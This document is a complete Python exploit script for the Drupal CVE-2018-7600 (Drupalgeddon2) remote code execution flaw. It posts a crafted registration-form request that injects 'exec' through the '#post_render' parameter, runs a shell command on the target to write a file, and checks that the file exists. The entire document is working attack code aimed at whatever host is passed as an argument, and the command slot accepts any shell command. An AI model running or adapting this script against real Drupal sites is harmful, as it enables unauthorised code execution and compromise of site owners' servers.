exploit_drupal_cve-2018-7600.py

#!/usr/bin/env python3
import sys
import requests
def exploit (target):
    try:
        proxies = {}
        verify = True
        print('Target: ' + target)
        url ='http://' + target + '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
        payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}

        r = requests.post(url, proxies=proxies, data=payload, verify=verify)
        check = requests.get('http://' + target + '/hello.txt', proxies=proxies, verify=verify)
        if check.status_code == 200:
            print(f"Exploit completely! Check http://{target}/hello.txt")
    except Exception as ex:
        pass


target = sys.argv[1]
exploit(target)